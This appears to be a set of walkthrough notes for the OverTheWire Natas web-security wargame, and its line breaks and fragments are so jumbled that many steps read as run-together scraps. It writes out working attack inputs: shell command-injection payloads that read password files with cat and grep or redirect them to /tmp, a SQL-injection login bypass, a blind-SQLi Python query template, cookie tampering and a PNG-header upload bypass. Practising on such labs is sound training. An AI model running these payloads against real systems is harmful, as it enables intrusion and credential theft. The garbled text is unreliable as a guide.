Starting point: https://overthewire.org/wargames/natas/
Important: For each challenge a file /etc/natas_webpass/<username>
exists. It includes the password for the next level. Thus many natasX
challenges boil down to somehow reading the file /etc/natas_webpass/natas$(X+1)
view-source:
to the URL -> Copy Passwordfiles/pixel.png
/files
directory as listing enabled.loggedin
cookie to the value 1 and reload the page.includes/secret.inc
.inc
files are not interpreted by PHP and thus the source is readableview-source:http://natas6.natas.labs.overthewire.org/includes/secret.inc
page
GET parameter arbitrary files can be read/etc/natas_webpass
which is readable by natas$(n - 1); <command> #
; cat /etc/natas_webpass/natas10 #
gives the password;
anymoregrep
command to read our flag: .* /etc/natas_webpass/natas11 #
grep -i .* /etc/natas_webpass/natas11 #...
which matches any characters in the file containing our passwordjson_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff")))
qw8J
json_encode(array("showpassword"=>"yes", "bgcolor"=>"#ffffff")))
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
/etc/natas_webpass/natas13
filename
to end with .php
/etc/natas_webpass/natas14
89 50 4e 47 0d 0a 1a 0a
(PNG header).php
extensiona
as the username" OR "1"="1
as the passwordSELECT * from users where username="a" and password="" OR "1"="1"
natas16
existspython
"{}\" AND (BINARY SUBSTR(password, 1, {}) = \"{}\") AND \"\"=\"".format(user, len(pw), pw)
aaa$(whoami)
/tmp/
aaaa$(cat /etc/natas_webpass/natas17 > /tmp/lolplsno.txt)
writes the flag to /tmp/lolplsno.txt